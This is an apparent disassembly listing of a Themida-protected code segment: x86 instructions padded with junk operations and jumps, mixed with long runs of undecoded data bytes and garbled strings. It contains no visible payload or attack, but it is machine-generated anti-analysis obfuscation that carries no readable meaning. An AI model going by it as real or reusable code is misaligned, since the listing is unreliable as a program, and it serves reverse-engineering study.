		db 59h,	0FFh, 34h
		dd 0C4815824h, 4, 0FF1C4F21h, 0C8B2434h, 4C48124h, 52000000h
		dd 3DE9E289h, 51000059h, 0DDE95652h, 83FFFFB5h,	0E95604C4h
		dd 6534h, 83242489h, 0E9042404h, 177Ah,	8BB75366h, 5B66F800h
		dd 5B2434FFh, 81E68956h, 4C6h, 6269E900h, 895C0000h, 0DFBE2434h
		dd 81008247h, 0CF4D81C5h, 81F5293Bh, 0CF4D81EDh, 0EE015E3Bh
		dd 0BFE9505Dh, 89FFFFBCh, 4C581E5h, 81000000h, 4C5h, 0CA01E900h
		dd 0E95AFFFFh, 0FFFFB6B2h, 1242C981h, 0E1817200h, 69E7640Bh
		dd 1EE9D9F7h, 89000020h, 640868E1h, 34890000h, 1DBD5524h
		dd 8129B00Eh, 9058D7CDh, 0A572E94Bh, 15DFFFFh, 0BE565EF7h
		dd 2, 3CE9F701h, 81FFFFEBh, 4EFh, 2BA7E900h, 0BB530000h
		dd 6D712AC6h, 115CC381h, 0E9576C18h, 448h, 2404895Ch, 0FFA1DCE9h
		dd 241489FFh, 0FFFFFF68h, 0D3E95AFFh, 66000009h, 0E9240C8Bh
		dd 0DD4h, 207F83ADh, 0D5840F00h, 52FFFFE8h, 0FFC341E9h
		dd 5FF989FFh, 4E12E9h, 0FFC68300h, 87FFC683h, 0F7D387DEh
		dd 87D387D2h, 7EEE81DEh, 89C334A5h, 24348BF2h, 3104C483h
		dd 24148BD0h, 0E904C483h, 16DDh
; ---------------------------------------------------------------------------


loc_54A488:				; CODE XREF: Themida_:0054FF93j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_5503BF
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8124h, 89000000h,	5954240Ch, 1599BD55h, 0ED81332Fh
		dd 332F1595h, 0E95DE901h, 341Eh, 5358E530h, 0B6525351h
		dd 8BF3882Bh, 0C4832414h, 5BD98804h, 8059CF88h,	0FD001EC5h
		dd 281EB050h, 5DE958C5h, 5FFFFFFCh, 59304A89h, 0FFD553E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A4ED:				; CODE XREF: Themida_:0054F8F9j
		push	edi
		jmp	loc_54F34A
; ---------------------------------------------------------------------------
		db 5Eh
		dd 3ADE9h, 24048F00h, 4240483h,	5624348Bh, 0C681E689h
		dd 4, 0FFF08AE9h, 2434FFFFh, 8324348Bh,	0EC8104C4h, 4
		dd 89240C89h, 4C181E1h,	83000000h, 0C8704C1h, 5585C24h
		dd 6BEE78B3h, 4EC8357h,	0E9243489h, 4D39h, 83241C8Bh, 0F76804C4h
		dd 0E9000068h, 4E85h, 0D9E952ACh, 6800003Ah, 4050h, 57242C89h
		dd 371FAABFh, 650FBD5Ah, 0D7E9F1A7h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54A573:				; CODE XREF: Themida_:005470CFj
		push	ecx
		mov	cl, 85h
		shl	cl, 5
		inc	cl
		not	cl
		xor	cl, 54h
		sub	bl, 52h
		sub	bl, cl
		push	small 4D5Eh
		mov	[esp], ax
		mov	al, 52h
		add	bl, al
		pop	ax
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_54CF95
; ---------------------------------------------------------------------------


loc_54A59E:				; CODE XREF: Themida_:0054C911j
		pop	esp
		mov	[esp], esi
		jmp	loc_5487AF
; ---------------------------------------------------------------------------
		db 0BFh
		dd 6951211Fh, 0F747E7D1h, 31E781D7h, 815FD34Ah,	0AEF804C7h
		dd 3C681F2h, 176386Eh, 3EE81FEh, 5F76386Eh, 8B243487h
		dd 0ECE92424h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A5D7:				; CODE XREF: Themida_:00547C28j
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 225E36CFh
		sub	ebp, 600222D4h
		push	ecx
		mov	ecx, 4B5D225Eh
		push	eax
		mov	eax, 51257EFEh
		shl	eax, 1
		jmp	loc_550768
; ---------------------------------------------------------------------------
		db 5Bh,	8Bh, 0Ch
		dd 4C48124h, 0E9000000h, 0FFFF9FF5h
; ---------------------------------------------------------------------------


loc_54A614:				; CODE XREF: Themida_:0054EDA8j
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 4
		add	ebp, 3CD24F84h
		add	ebp, edx
		sub	ebp, 3CD24F84h
		pop	edx
		push	ebx
		push	0DE45F64h
		pop	ebx
		push	edx
		mov	edx, 4F078F8h
		jmp	loc_54BB78
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 102811C7h, 0FFB0F6E9h, 0EE6850FFh, 89000010h, 0E389241Ch
		dd 4C381h, 0EB830000h, 241C3304h, 33241C31h, 0E95C241Ch
		dd 0FFFFCDAEh, 0E92434FFh, 0FFFFDEE9h, 0F6240486h, 249BE9D0h
		dd 5D540000h, 0FFCB23E9h, 240481FFh, 4,	4C6815Eh, 81000000h
		dd 4ECh, 242C8900h, 0FF1BA52h, 0C14236CEh, 0F28107E2h
		dd 6707F904h, 0E9D68956h, 5B44h, 4C18158h, 87000000h, 0E95C240Ch
		dd 0FFFFD502h, 8324348Bh, 1C8704C4h, 24248B24h,	0E9241489h
		dd 62C0h, 2404875Eh, 1619E9h
		db 0
; ---------------------------------------------------------------------------


loc_54A6E5:				; CODE XREF: Themida_:0054C6A7j
		add	esp, 4
		sub	ebx, 0AECDE858h
		jmp	loc_54EC6E
; ---------------------------------------------------------------------------
		db 52h
		dd 0C2FED7B2h, 75B05066h, 5866C208h, 0C003E2C0h, 0C28008E2h
		dd 5AD48870h, 0F480E4D0h, 58E188A4h, 0FFE791E9h, 5DEF89FFh
		dd 2865E9h, 1FE28100h, 81548D23h, 0B93E42C2h, 0BD55574Fh
		dd 50012DC3h, 632958BFh, 5DEF315Ch, 685FFA01h, 6EC4h, 0E9240489h
		dd 0FFFFB7EEh
; ---------------------------------------------------------------------------


loc_54A74C:				; CODE XREF: Themida_:0054DE2Aj
		add	esp, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	ecx
		mov	ecx, 800h
		mov	esi, ecx
		pop	ecx
		and	eax, esi
		jmp	loc_54CD9F
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd offset dword_50E448+5A1h
		dd 0E9D1F700h, 60F3h, 87243C31h, 87D1F7CFh, 243C87CFh
		dd 60F5815Dh, 314BBF6Bh, 8B04246Ch, 0C481242Ch,	4, 8324048Bh
		dd 0BF5704C4h, 5C5A109Fh, 815FF831h, 305311C2h,	9AEA8133h
		dd 81602030h, 0D449CEAh, 9FC1E937h, 0EF83FFFFh,	243C8704h
		dd 240C895Ch, 4B9h, 8BCB0100h, 38E9240Ch
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A7DF:				; CODE XREF: Themida_:00548BE1j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_549CFA
; ---------------------------------------------------------------------------
		db 1, 0C6h, 0E9h
		dd 0FFFFE65Ah, 8BC8315Fh, 43E9240Ch, 5000059h, 4, 3014E950h
		dd 89660000h, 0BF66243Ch, 31661620h, 5265E9F8h,	0C2810000h
		dd 4, 4D25BF57h, 0DFF73FB8h, 3691C781h,	0C78100F6h, 0E6A6D4Fh
		dd 1ABBE56h, 0CE815F09h, 467F3826h, 331AE9h, 64226800h
		dd 24890000h, 4ABCE924h, 0D0000000h, 0FFAE0BE9h, 243CD3FFh
		dd 9DA7E99Ch, 7AB8FFFFh, 0E9302D75h, 0FFFFC027h, 1B630ABFh
		dd 0E71FE914h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A876:				; CODE XREF: Themida_:005477B3j
		pop	ecx
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	eax, eax
		jmp	loc_54B0D2
; ---------------------------------------------------------------------------
		dw 7AE9h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A88F:				; CODE XREF: Themida_:00545B89j
		sub	dh, 0C3h
		xor	bh, dh
		pop	edx
		xor	bh, 0F4h
		sub	bh, 0ABh
		jmp	loc_548FE9
; ---------------------------------------------------------------------------


loc_54A8A0:				; CODE XREF: Themida_:0054DFABj
		push	ebx
		jmp	loc_54B848
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 4C5h, 12A96800h, 0C890000h, 5D64B924h, 87E97F24h, 6800004Ch
		dd 270Fh, 89240489h, 405E0h, 0E8830000h, 24048704h, 8924248Bh
		dd 8852240Ch, 2E953C6h,	81000051h, 4C4h, 4C48100h, 53000000h
		dd 0B951E389h, 252E7817h, 0D9F7D1F7h, 4FCAE9h, 4C68100h
		dd 0E9000000h, 3981h, 8B24048Fh, 0C892424h, 9CEFE924h
		dd 5157FFFFh, 0C181E189h, 4, 8704E983h,	248B240Ch, 2BE95424h
		dd 31FFFFEFh, 0C2015BD8h, 8124048Bh, 4C4h, 0B8505600h
		dd 243464FAh, 0DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_54A94D:				; CODE XREF: Themida_:0054EB8Bj
		mov	esi, 5A6346A6h
		or	esi, 51E90851h
		jmp	loc_54C018
; ---------------------------------------------------------------------------
		db 0B5h, 7Ah, 0B2h
		dd 0E12E93Eh, 3C870000h, 62685C24h, 8900007Fh, 0E0892404h
		dd 405h, 1193E900h, 0E9AC0000h,	0FFFFC722h, 4EC81h, 1C890000h
		dd 2474FF24h, 0B4E95B04h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A997:				; CODE XREF: Themida_:0054ECD5j
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_549573
; ---------------------------------------------------------------------------
		db 83h
		dd 5F042404h, 46850h, 81580000h, 0D24009EFh, 81C70104h
		dd 0D24009C7h, 24048B04h, 4C481h, 0B8500000h, 4, 8758C729h
		dd 29E9243Ch, 21FFFFD3h, 0C2095FF8h, 0F168E2D1h, 0E9000069h
		dd 0FFFFFA45h, 4C481h, 48F0000h, 14E0E924h, 0CE300000h
		dd 12BBE959h, 0B3530000h, 44BDE93Dh, 74FF0000h,	8F5F0424h
		dd 895C2404h, 0F2E92404h, 0B4FFFF9Bh, 58E328C1h, 0C380D328h
		dd 16EB80C1h, 0E9C3285Ah, 4598h, 0BF1E132Dh, 186A0503h
		dd 5A255066h, 0E94B4B46h, 2FD4h, 7240480h, 0E924248Ah
		dd 461Fh, 0AE91E951h, 8B66FFFFh, 5755240Ch, 0C781E789h
		dd 4, 1A8DE9h, 6CB86800h, 0C890000h, 0F969E924h, 0D800FFFFh
		dd 0E0E9612Ch, 8100004Dh, 0FD2460EAh, 57895D02h, 47815A24h
		dd 10B67124h, 50D23192h, 0FFB705E9h, 2474FFFFh,	24348B04h
		dd 3628E956h, 815A0000h, 967A84EBh, 81C30163h, 967A84C3h
		dd 0DB70E963h, 0BB53FFFFh, 6EE5162Fh, 0E9D5C381h, 0DD01911Ah
		dd 4ED835Bh, 2474FF55h,	0B7D2E904h, 885BFFFFh, 0CFFE59CFh
		dd 0C089C780h, 0C78006E7h, 4E7C0ABh, 28BBC780h,	0F2DE9F8h
		dd 0EF800000h, 0A6CF8001h, 3EFFE9h
		db 0
; ---------------------------------------------------------------------------


loc_54AAF9:				; CODE XREF: Themida_:0054EAD0j
		add	ebp, 2
		jmp	loc_54807A
; ---------------------------------------------------------------------------
		dd 240C8B66h, 51595451h, 0DCE9E189h, 5CFFFFD9h,	92B45066h
		dd 57CDE9h, 68535A00h, 5187h, 0E9240489h, 0FFFFFF20h, 28B6664h
		dd 0F188E950h, 0D7F7FFFFh, 0EF81D7F7h, 5E082148h, 0C573C781h
		dd 1AE9B099h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54AB4B:				; CODE XREF: Themida_:0054F3C0j
		sub	ecx, 0EAE9FCh
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	ecx, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5482FD
; ---------------------------------------------------------------------------


loc_54AB69:				; CODE XREF: Themida_:0054FF0Ej
		add	ebx, 4
		jmp	loc_54916E
; ---------------------------------------------------------------------------
		dd 0EFB3E94Fh, 8AE9FFFFh, 0FFFFFF9Ah, 34FF2434h, 2434FF24h
		dd 23E2E9h, 371B6800h, 8F540000h, 4812404h, 424h, 77E95F00h
		dd 3000002Fh, 0C7FE5AD7h, 2662E9h, 0ED816600h, 8166FFFFh
		dd 66ECE8EDh, 34FFE831h, 9C1CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54ABC2:				; CODE XREF: Themida_:00549623j
		mov	[esp], edi
		jmp	loc_5461B5
; ---------------------------------------------------------------------------
		dw 0D6F7h
aBRruSuv	db '│фЮrU╪И⌠V',0
		dw 6600h
		dd 6824048Bh, 7015h, 11A4E9h, 0E9F03100h, 0FFFFC663h, 3C9DF781h
		dd 4F477375h, 6DAEB951h, 0C1816367h, 3A4E2C0Fh,	441FE981h
		dd 0F1E96048h, 51FFFFEAh, 0BD6F58B9h, 59CF29C6h, 3C8BFE29h
		dd 4C48124h, 81000000h,	71230AC7h, 81F72948h, 71230AEFh
		dd 9FCBE948h, 0FF58FFFFh, 2C8B2434h, 0BC06E924h, 0EC83FFFFh
		dd 242C8904h, 0E2D1E954h, 489FFFFh, 1916E924h, 0EB830000h
		dd 241C8704h, 241C895Ch, 70243481h, 5E53F40Ch, 0C70F681h
		dd 0E95B53F4h, 0FFFFFF75h, 27DCBD55h, 28BB6E71h, 1918ED8h
		dd 0F46FE9EBh, 0E089FFFFh, 0FFCA4AE9h, 2ECC0FFh, 0D956866h
		dd 241C8966h, 6E9F3B3h,	0E9000034h, 0FFFF9969h,	89243489h
		dd 55CDE9E6h, 0C3050000h, 0E9578C6Dh, 0FFFFD8D1h, 75E9D800h
		dd 0D3FFFFE4h, 0E99C242Ch, 0FFFF9945h, 243C335Ch, 33243C31h
		dd 248B243Ch, 2434FF24h, 0E92434FFh, 0D7Ch, 804DEE80h
		dd 1C8B54EEh, 0B15AE924h, 50BDFFFFh, 0E967E045h, 5889h
		dd 2D435BBBh, 435FB935h, 0E9E9352Dh, 8BFFFFA2h,	0E5E92424h
		dd 51000041h, 0E95E5956h, 0FFFFB555h
; ---------------------------------------------------------------------------


loc_54AD14:				; CODE XREF: Themida_:0054D6D3j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 2
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		jmp	loc_54FF7E
; ---------------------------------------------------------------------------


loc_54AD2E:				; CODE XREF: Themida_:0054490Cj
		mov	esi, 52A46C4Eh
		sub	esi, 0F9A9916Bh
		jmp	loc_55010F
; ---------------------------------------------------------------------------


loc_54AD3E:				; CODE XREF: Themida_:0054C599j
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		div	cx
		push	ebx
		push	esp
		pop	ebx
		push	eax
		jmp	loc_550465
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 15A20818h, 8124348Bh, 4C4h, 60D66800h, 0F0E90000h, 5300005Dh
		dd 1E685357h, 5B479659h, 0FFCBCCE9h, 58E100FFh,	8059CA20h
		dd 4FE987F2h, 56000051h, 7C5AB850h, 0FCE947F9h,	56000053h
		dd 0F9340B68h, 0D6F75E7Ah, 448FE9h, 240C8B00h, 5B04C483h
		dd 8EE95159h, 8B00000Fh, 0C481241Ch, 4,	0F0F5E950h, 0BB68FFFFh
		dd 89000024h, 25BB241Ch, 1762F4Ch, 5B08245Ch, 0E9240C8Bh
		dd 0FFFFA1D8h, 53F7E95Ah, 348B0000h, 4C48324h, 3DBB5356h
		dd 0BE544E36h, 0ABB1C9C7h, 815BDE01h, 921A35EFh, 81F72933h
		dd 921A35C7h, 3C875E33h, 0AB16E924h, 5729FFFFh,	24148B24h
		dd 2AD768h, 28A7E900h, 0C890000h, 0AB3AE924h, 5E54FFFFh
		dd 486BE957h, 4330000h,	24248B24h, 0FF2434FFh, 148B2434h
		dd 4C48124h, 55000000h,	0C5815D54h, 4, 4C581h, 2C870000h
		dd 0AAC2E924h, 5868FFFFh, 89000034h, 90E92414h,	5200004Ch
		dd 0A56B5E68h, 87E95A29h, 8BFFFFB4h, 0C4812414h, 4, 0FFC6F3E9h
		dd 6CA568FFh, 6C680000h, 0E900006Dh, 0FFFFE818h, 4C48359h
		dd 8904EC83h, 0EB62414h, 0C078F680h, 88E903E6h,	29FFFFA0h
		dd 0C3295DEBh, 7BBF5751h, 8957F60Dh, 243C8BF9h,	81E68956h
		dd 4C6h, 4C68300h, 2474FF56h, 48F5E04h,	0CB015C24h, 592434FFh
		dd 3F4BE9h, 241C3300h, 33241C31h, 9CE9241Ch, 8F00000Eh
		dd 248B2404h, 0C8B70F24h, 265D68h, 240C8900h, 0FF970CE9h
		dd 78E0B8FFh, 0D0F72CE9h, 0AC068A2Dh, 1D6EE919h, 0EB290000h
		dd 30FF665Dh, 0FF96F0E9h, 0EA8059FFh, 0D9F8E922h, 0D488FFFFh
		dd 48BE588h, 452CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54AF2E:				; CODE XREF: Themida_:0054B843j
		pop	edx
		push	34E9h
		mov	[esp], ebx
		jmp	loc_5493CA
; ---------------------------------------------------------------------------
		dd 0F260E950h, 875BFFFFh, 0C74EE9F9h, 0FD01FFFFh, 0FF9A49E9h
		dd 0C18159FFh, 72D9344Fh, 4198E9h, 5FFA2900h, 0CAC2815Eh
		dd 813F1E07h, 654F43C2h, 81C20108h, 654F43EAh, 0CAEA8108h
		dd 0E93F1E07h, 294Fh
; ---------------------------------------------------------------------------


loc_54AF80:				; CODE XREF: Themida_:0054723Bj
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 10174CAFh
		mov	eax, esi
		mov	esi, [esp]
		jmp	loc_54BFBD
; ---------------------------------------------------------------------------
aYusix		db 'YUИ┬X',0
		align 10h
		dd 7EFBF681h, 0E94E20DCh, 0FFFFC9BEh, 0E904EC83h, 45A0h
		dd 0ECE9F029h, 5700000Ch, 0FFB15DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54AFC1:				; CODE XREF: Themida_:0054BC76j
		pop	esi
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		jmp	loc_545B9D
; ---------------------------------------------------------------------------
		dw 0E388h
		dd 0E95BDD88h, 0FFFFDEA4h, 0FDE9D389h, 89FFFFFDh, 74FF2434h
		dd 8F5E0424h, 895C2404h, 5D54242Ch, 4C581h, 0EC810000h
		dd 4, 0E9240489h, 4D02h, 0E971F680h, 0FFFFBE76h, 7168B42Dh
		dd 1DE3E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B016:				; CODE XREF: Themida_:0054F376j
		pop	ebp
		neg	ebp
		xor	ebp, 2157DACh
		jmp	loc_54DF20
; ---------------------------------------------------------------------------
		dd 215EF289h, 77FF5AD0h, 2434FF1Ch, 0FFF63BE9h,	405FFh
		dd 0C0E90000h, 89FFFFF7h, 7D0558C6h, 1669215h, 157D2DF0h
		dd 34FF6692h, 0C4835E24h, 24043304h, 33240431h,	685C2404h
		dd 6B11h, 8F240C89h, 55AEE900h,	0C5810000h, 131A076Eh
		dd 0ED81D529h, 131A076Eh, 7145C581h, 15A1A25h, 0C875DE9h
		dd 24D35C24h, 76E99C24h, 1FFFF95h, 0B8D5E9FBh, 74FFFFFFh
		dd 8F5A0424h, 315C2404h, 0E99C2404h, 0FFFF955Dh, 0FF9558E9h
		dd 240487FFh, 0FF9FA4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B0B9:				; CODE XREF: Themida_:005501F7j
		add	ebp, 4
		jmp	loc_54F64E
; ---------------------------------------------------------------------------


loc_54B0C4:				; CODE XREF: Themida_:0054B160j
		mov	esp, [esp]


loc_54B0C7:				; CODE XREF: Themida_:0054742Bj
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_54B599
; ---------------------------------------------------------------------------


loc_54B0D2:				; CODE XREF: Themida_:0054A885j
		jz	loc_54A0C8
		push	dword ptr [edi+1Ch]
		push	esi
		jmp	loc_550AB9
; ---------------------------------------------------------------------------


loc_54B0E1:				; CODE XREF: Themida_:00549645j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		jmp	loc_549ED7
; ---------------------------------------------------------------------------
		dw 0F389h
		dd 58C3295Eh, 0FFFFEB81h, 0BA52FFFFh, 5F6E647Ch, 51EA8142h
		dd 4A17A45Dh, 0F281D2F7h, 9EEEDC4Fh, 815AD331h,	6AED04C3h
		dd 2E73E9CFh, 0C890000h, 81E18924h, 4C1h, 4C18100h, 33000000h
		dd 69E9240Ch, 81000026h, 0CB042444h, 154EA45h, 81042444h
		dd 0CB04246Ch, 0E954EA45h, 0FFFFF00Bh, 926E95Eh, 0E8010000h
		dd 90FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54B15D:				; CODE XREF: Themida_:005485F5j
		xor	edi, [esp]
		jmp	loc_54B0C4
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0F704C483h, 4C89E9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B172:				; CODE XREF: Themida_:0054A0A6j
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		jmp	loc_54969E
; ---------------------------------------------------------------------------
		dd offset dword_582968
		dd 240C8900h, 163FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54B18D:				; CODE XREF: Themida_:0054E42Bj
		jmp	loc_544609
; ---------------------------------------------------------------------------


loc_54B192:				; CODE XREF: Themida_:00548552j
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_546B5D
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0CA6507BFh, 1B95108h, 29000000h, 0BB5359CFh,	3A23420Ah
		dd 0C1FFEB83h, 25E902EBh, 0BA000002h, 27E01037h, 0FFAC0EE9h
		dd 2E8C1FFh, 23CBE9h, 0C1D7F700h, 0E78103EFh, 28DC123Ah
		dd 454FEF81h, 0C781134Ch, 8881A0A1h, 0E95FFD31h, 0FFFFFCAFh
		dd 68242C89h, 1C84h, 57242489h,	4BFh, 247C0100h, 2C8B5F04h
		dd 0E9545224h, 0FFFFD0BEh, 4EC81h, 0C890000h, 68595424h
		dd 5941h, 43C0E9h, 243C8900h, 0C781E789h, 4, 4EF81h, 0EC810000h
		dd 4, 0FF243C89h, 0E9042474h, 0FFFFDE9Ch, 68622CACh, 51E3h
		dd 0FFD71DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B25D:				; CODE XREF: Themida_:0054C374j
		mov	eax, [esp]
		jmp	loc_544A01
; ---------------------------------------------------------------------------
		db 1, 0FEh, 5Fh
		dd 0EE81FE01h, 57B476D6h, 2C6815Fh, 56000000h, 42474FFh
		dd 0E924348Bh, 0FFFFC17Bh, 241CF766h, 937BE99Ch, 0C181FFFFh
		dd 592A14F8h, 8124048Bh, 4C4h, 22F18100h, 51000D1Ah, 0FFF35CE9h
		dd 4EC81FFh, 89000000h,	0E389241Ch, 4C381h, 0C3810000h
		dd 4, 5C241C87h, 0FF9340E9h, 0B9E957FFh, 50000026h, 4A1BA52h
		dd 0A0E95FACh
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B2DB:				; CODE XREF: Themida_:0054F455j
		sub	cl, ah
		pop	eax
		jmp	loc_54FBB9
; ---------------------------------------------------------------------------


loc_54B2E3:				; CODE XREF: Themida_:005502E5j
		add	edi, edx
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5460CF
; ---------------------------------------------------------------------------
		dd 4BFh, 5FF88900h, 258AB850h, 44012C44h, 70E90824h, 0BA000016h
		dd 5F607458h, 8BACC281h, 0D601A09Fh, 3800E9h, 43EB700h
		dd 2CF828AAh, 2434FFAAh, 7A4D685Bh, 0C890000h, 56E95324h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B337:				; CODE XREF: Themida_:0054FC2Bj
		inc	ecx
		inc	ecx
		push	ebp
		mov	ebp, 0C9E29B9h
		add	ecx, ebp
		pop	ebp
		or	edx, ecx
		mov	ecx, [esp]
		jmp	loc_54A0AB
; ---------------------------------------------------------------------------
		dd 68243489h, 1D39h, 0E9241C89h, 0FFFFD076h, 42474FFh
		dd 3FDFE9h, 0F2E95100h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B36B:				; CODE XREF: Themida_:0054722Dj
		mov	[esp], ebx
		jmp	loc_54603C
; ---------------------------------------------------------------------------


loc_54B373:				; CODE XREF: Themida_:0055047Ej
		pop	eax
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_548C6D
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0CEEB815Ch, 294C1D42h, 0CEC381C3h, 0E94C1D42h, 1CECh
		dd 0E9ABB551h, 27A5h, 4247429h,	0FFF164E9h, 4B9FFh, 0CA010000h
		dd 74FF5259h, 8F5A0424h, 215C2404h, 34FF1C57h, 24148B24h
		dd 4C481h, 0C4810000h, 4, 4CAFE9h, 0D831AD00h, 565F5457h
		dd 4BEh, 0E9F70100h, 0FFFFA595h, 8143D3F7h, 0F700F5F3h
		dd 5BDF09A0h, 6F8BF781h, 53E959CAh
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B403:				; CODE XREF: Themida_:0054835Bj
		mov	edi, 1E9A5ABBh
		add	edi, 1A9D25C6h
		sub	edi, 337A220Bh
		inc	edi
		or	edi, 5D9A418Ch
		jmp	loc_546B6E
; ---------------------------------------------------------------------------
		dd 0ACE0E9ADh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B426:				; CODE XREF: Themida_:0054CA80j
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		shr	ebp, 7
		sub	ebp, 3273D4h
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_54C0FB
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 4C4815Ch, 83000000h,	48904ECh, 12E86824h, 2C890000h
		dd 61F06824h, 0CAE90000h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B467:				; CODE XREF: Themida_:0054F182j
		push	ecx
		mov	ecx, 7C787F0Ch
		sub	[esp+4], ecx
		pop	ecx
		pop	eax
		push	6C98h
		mov	[esp], edx
		push	ebp
		mov	ebp, 4BB958C0h
		jmp	loc_54C678
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 2C681h, 34870000h, 0C3005C24h, 8031B151h,	0D1F671F1h
		dd 8007E9C0h, 0C1FEC3C1h, 2862F180h, 0CE959CBh,	68FFFFF4h
		dd 257h, 0E9241489h, 0FFFFA7A3h, 0E48EE956h, 0E689FFFFh
		dd 0FFA153E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B4CD:				; CODE XREF: Themida_:00544F5Fj
		mov	eax, edx
		pop	edx
		and	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shr	ecx, 7
		push	1E1Bh
		jmp	loc_54498F
; ---------------------------------------------------------------------------
		db 81h
		dd 0D57975E5h, 0E1B5E915h, 0C130FFFFh, 582434FFh, 4C481h
		dd 0C1E90000h, 8B000038h, 8951240Ch, 0E383E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B522:				; CODE XREF: Themida_:00547B7Ej
		mov	edi, esp
		jmp	loc_5485E3
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0C2h
		dd 4, 2B850h, 0C2010000h, 74FF5258h, 148B0424h,	0F8FE924h
		dd 0B8500000h, 1336633Ch, 0E958C289h, 310Dh, 0C230D825h
		dd 0F333520h, 0DB056D36h, 8903E2F2h, 0A978E9C5h, 0F381FFFFh
		dd 64CDDE8Fh, 0E95BD829h, 4CE5h
; ---------------------------------------------------------------------------


loc_54B578:				; CODE XREF: Themida_:0054D348j
		pop	edx
		add	esp, 4
		not	edx
		push	eax
		push	edx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54B833
; ---------------------------------------------------------------------------
		db 31h,	2Ch, 24h
		dd 1F58E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B599:				; CODE XREF: Themida_:0054B0CDj
		push	eax
		push	ebx
		xor	dword ptr [esp], 488C5EF2h
		pop	eax
		xor	eax, 488C5EF2h
		mov	esi, eax
		pop	eax
		push	0C2h
		mov	[esp], esi
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_545BEB
; ---------------------------------------------------------------------------
		dw 0DE29h
		dd 81DE015Bh, 482BB5C6h, 2434FF45h, 155EE9h, 24348700h
		dd 0FFEDB5E9h, 2434FFFFh, 582434FFh, 0FFD3E6E9h, 0C8B66FFh
		dd 72C76824h, 3C890000h, 81E78924h, 4ECh, 24348900h, 4B951h
		dd 57530000h, 0FB89CF89h, 955E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B60D:				; CODE XREF: Themida_:00548863j
		push	eax
		push	ebx
		mov	bh, 90h
		push	edx
		mov	dh, 0BEh
		shr	dh, 7
		jmp	loc_545B80
; ---------------------------------------------------------------------------


